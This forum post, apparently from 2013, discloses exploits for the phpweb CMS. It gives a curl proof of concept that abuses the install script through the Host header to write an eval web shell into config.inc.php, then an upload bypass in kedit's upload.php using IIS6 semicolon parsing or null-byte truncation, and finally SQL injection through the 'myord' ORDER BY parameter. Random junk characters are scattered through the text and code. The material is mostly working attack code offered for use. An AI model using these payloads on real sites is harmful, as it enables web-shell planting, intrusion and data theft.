找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2520|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
& W  w; z  L. t% Y! W  B0 {) G8 i: l' B, t7 u) V  r
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
1 p2 Q& K0 A: i' u  b 1 ?, j  f5 y! ~* e: W3 w: Y
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
/ V5 V' M2 c8 f* t0 @. y' C鸡肋2: 有一定安全常识的站长都会删掉 install 目录, a4 z, \( V* T5 o5 ]" ~( T

2 Q+ K5 l3 S; o虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
, y; A2 [- W# M2 y9 c& R% o
" t% l7 m) q9 P分析:
1 y" Y( f$ S. U' G% C& }. U " I, L1 G+ O6 t

5 U0 m! j  A$ W5 f$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤& r6 q$ z' d- V9 Z+ h3 ]) a. k

; O# w$ C9 @+ k. ]# z$ E2 e                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
" b( u6 f# [* j. u7 ~6 f! q5 G; z                                            $filestr=str_replace(" ","",$filestr);
, o& Q+ ?9 {* |5 P# [1 f                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);/ r2 L) m9 r9 b* J. M! C: B
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);" l) k+ t, w( u) x! g: e
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);7 c% a5 J' r& W! a. I% @4 O: @
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);0 y& @$ D7 v5 `2 [* \; ?/ R
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);3 {, @- ?% h3 r) F' u4 r& o
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
$ o0 H; ]: o. m4 v                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
# b, |# J6 O# J% e7 @
; I+ u- q+ X$ G$ a8 I                                            fwrite(fopen($ConFile,"w"),$filestr,30000);9 Q) h6 Y4 x5 g: Q4 Z2 z
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
2 {/ v6 R6 Y) r. j" \7 J. c9 q! p, T- r " _' {- Q' T1 w8 h& v/ R
poc:
0 ]+ ~8 f; ~  q6 x* ] ; j! y' q9 I9 V3 a7 J
?/ A; {4 C9 q' X" o8 f, J9 R
1+ D  k: P' r+ ~4 s( _: s8 k
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": |7 Q6 l/ c1 N8 D( j/ U
shell地址: /config.inc.php
6 y6 r3 Z: a; p, J3 R" a$ A跟之前的 phpcms一样 需要远程数据库
) |6 J" T/ Q% R9 i% j) } 2 r. O" g6 W- g: U5 s/ v5 v
——————————————————–$ N+ J9 H& b& U! V
上传漏洞(需要进后台):
+ F5 H; e. B8 F* _/ f6 i漏洞文件: /kedit/upload_cgi/upload.php
% \, N/ K) Q0 I) Z4 w+ k这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用0 y4 t# H2 m* M+ Z6 S+ y
5 w- L5 `: E: @/ N+ o

5 b* L- Y+ ^4 r, @/ V<?php" T2 S6 {2 b+ |0 o
    define("ROOTPATH", "../../");
2 ]* c7 J) [9 t3 H% x    include(ROOTPATH."includes/admin.inc.php");; k8 _$ W' _3 o5 S  }
    NeedAuth(0);% x4 Q' h% g6 b) C. G9 N, }

5 t0 Z! t$ t' r8 a4 F    $dt=date("Ymd",time());
: x9 ~* z5 a2 w( a0 F3 v    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
: Z: h& }, r8 X) e            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
7 C' E: ^% i" x- w    }
  \, O1 f# U5 I2 g4 s& Z% ^9 C 9 \8 j$ U3 p) c0 c+ Q4 D! \, @
    //文件保存目录路径
; l) o% A) K. [$ {# K& e8 |* s    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
$ D0 a! C$ q7 J# V6 I; X    echo $save_path;% j9 R( B2 V% I% t3 a
    //文件保存目录URL# X; E, P# i, L8 G
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
1 q0 G0 b4 ]+ n3 @7 ]6 F3 a
! n3 E3 D  y1 [; ?! E6 D    //定义允许上传的文件扩展名. {- j* C8 V, _8 j
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
3 o- e- s3 A2 J; Z
" V" ^2 }& s1 I$ h: L% A( y; E6 E    //最大文件大小" ]9 [" p/ I! t& y0 @: ^, @
    $max_size = 1000000;; n& w5 ~2 }" w

  ~1 B7 x9 A+ V. i) p5 k    //更改目录权限* A& [! Z: K2 ]0 C8 {% {
    @mkdir($save_path, 0777);# D. g  u# e# c& L

. _! y( |6 E# R( [. A    //文件的全部路径
8 q; q: @: A: Y) b; ]    $file_path = $save_path.$_POST['fileName'];   //保存文件名5 k* ]5 P2 Y4 H. Z1 S  Y% Z2 p

5 {0 k6 ^2 x2 o. i, E    //文件URL- H( c" L# G8 d$ v% Y* h
    $file_url = $save_url.$_POST['fileName'];
0 [; \+ R" g; |7 L7 N' D* I//有上传文件时
% a. @: W1 }3 k' m    if (empty($_FILES) === false) {
* L) Y, c$ M# R) }- q8 e # [$ I0 v% p4 g: F( i
            //原文件名8 p2 v; y$ ]; b* f8 `& s
            $file_name = $_FILES['fileData']['name'];
4 b" o$ s; u( W& E; d$ S- s1 x* ^            //服务器上临时文件名/ ^% K0 x& g+ Q* M2 }0 O
            $tmp_name = $_FILES['fileData']['tmp_name'];$ O0 E& f1 |! r8 T7 `. E  M' r
            //文件大小
. k8 i9 ]: Q. _/ m            $file_size = $_FILES['fileData']['size'];
& q( h0 r$ e. J) _7 K% m; O            //检查目录
: U- j4 C5 B( K9 l. J$ c8 Q$ f            if (@is_dir($save_path) === false) {9 h, c3 u* q: u, p! u& I5 h
                    alert("上传目录不存在。");
2 x5 I2 [; b8 O! F" ?! ~            }
0 W/ G6 q* d% o9 ~            //检查目录写权限) n) e0 Q) j$ E- {% P* A
            if (@is_writable($save_path) === false) {' q( K1 E- }' n( u8 {
                    alert("上传目录没有写权限。");
+ f( B& f2 P' K: h6 X/ y" }0 c$ ^            }" q6 a1 f6 ]$ m' M& q6 e2 d
            //检查是否已上传  I: O& c$ y7 j6 l! H# Q0 m
            if (@is_uploaded_file($tmp_name) === false) {
4 I+ T1 C/ r) y, A# Z# v( p# t                    alert("临时文件可能不是上传文件。");- j' ?8 v1 H+ A# c2 U0 o
            }5 R- S6 M$ W7 S5 A' T8 A
            //检查文件大小8 w, S2 l7 |$ `, `: w+ G  Q% S% j' W  o
            if ($file_size > $max_size) {( `. Q; e9 J1 X0 g6 [- T% c
                    alert("上传文件大小超过限制。");
5 x: o& s: g* ?# h: H& M            }% C  \- A4 b: e# N" Z9 {" K0 B( O
            //获得文件扩展名
% }, X- }: t! R: e0 Y            $temp_arr = explode(".", $_POST['fileName']);
2 l8 U" X/ M# m1 B            $file_ext = array_pop($temp_arr);
" Z8 M+ f4 b2 r: r1 q; r8 H# ^            $file_ext = trim($file_ext);
* u8 x8 J/ O  I0 l) z' P: \# x' c            $file_ext = strtolower($file_ext);1 g4 e% A  Q6 B2 m5 O

0 z. [; }' ^/ c$ @/ U7 t, \1 R            //检查扩展名   # ^: S6 n# Y; X
            if (in_array($file_ext, $ext_arr) === false) {     3 t% A- u4 Q  Y! _. j& y/ P1 `
                    alert("上传文件扩展名是不允许的扩展名。");
: U/ q. K3 J7 D& ?. f: L            }- ?" a" l5 ^, P' K0 O  w9 B

- v1 ]4 B6 x( d) B: ~  x, a            //移动文件   
+ p  j9 N/ i5 O$ C- C8 A            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
% N. h8 _7 N' j% C) b7 a            if (move_uploaded_file($tmp_name, $file_path) === false) {4 ?8 K, O7 |5 I
                    alert("上传文件失败。");6 N4 _% w/ G9 E
            }
% R) Z0 t6 |9 w ' K: i* l) P# s- ^) j  L
            @chmod($file_path,0666);
8 K( A6 ~4 M2 R2 a$ `) y* X8 B - v3 _' Q( L' w0 m7 d- N
    ?>9 n: R* i9 W( M! M8 {$ v5 d9 {* C: \
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: _: d! `: T/ m& `

/ P. Q! }2 p0 iapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过3 A4 V3 M: d0 l/ h; A
/ X2 O6 D$ f4 f* Z! F" C7 L$ u; a5 K
——————————————————) x, U( W1 s  |' ~
注入漏洞:
' r6 ]! H  e/ C2 K" `! P漏洞文件:search/module/search.php
; L8 E+ _! `2 z& O* x$ t/search/index.php?key=1&myord=1 [sqlinjection]
, V8 v% _6 x2 v6 C+ x' H
6 F( z$ p- j5 V, F6 y ! Z- p# ~1 P9 h5 s0 d) o6 }0 {
<?php% Q+ x/ T3 O8 r/ I& f
   //       ... 省略 n 行...% s4 W& A: q' j) x! `
   //第18行:
9 I, f1 M" d& R0 D, p+ O           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
  w/ a- @  V0 R/ @' {7 f           $page=htmlspecialchars($_GET["page"]);) s) h3 V$ k6 ]" V5 L$ s3 e; |! N) S
           $myord=htmlspecialchars($_GET["myord"]);
9 v+ y# r% Y; v" Q  } 5 X1 r4 _' B# k
   //       ... 省略 n 行...$ |' U6 t4 f" q; N" e8 M
   $key,$myord 两个参数带入查询3 o$ V: i$ y& @/ D" I+ {
   //第47行 $key:$ Y- m0 A/ s& V( G

4 ]% X( Q8 M" P% s4 g+ ^5 x8 L/ x+ J   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..' {) u) b% H  j* K& k

& D6 r: P, r" k# b- q   //第197行 $myord
9 S1 U' m4 b( ]) v7 k7 w! W   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入, q, H/ A4 `7 B3 F7 r

4 v$ W( Y3 M" i. Y8 E) l   ?>
' V2 h  Y2 K6 S4 J' W( S* d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表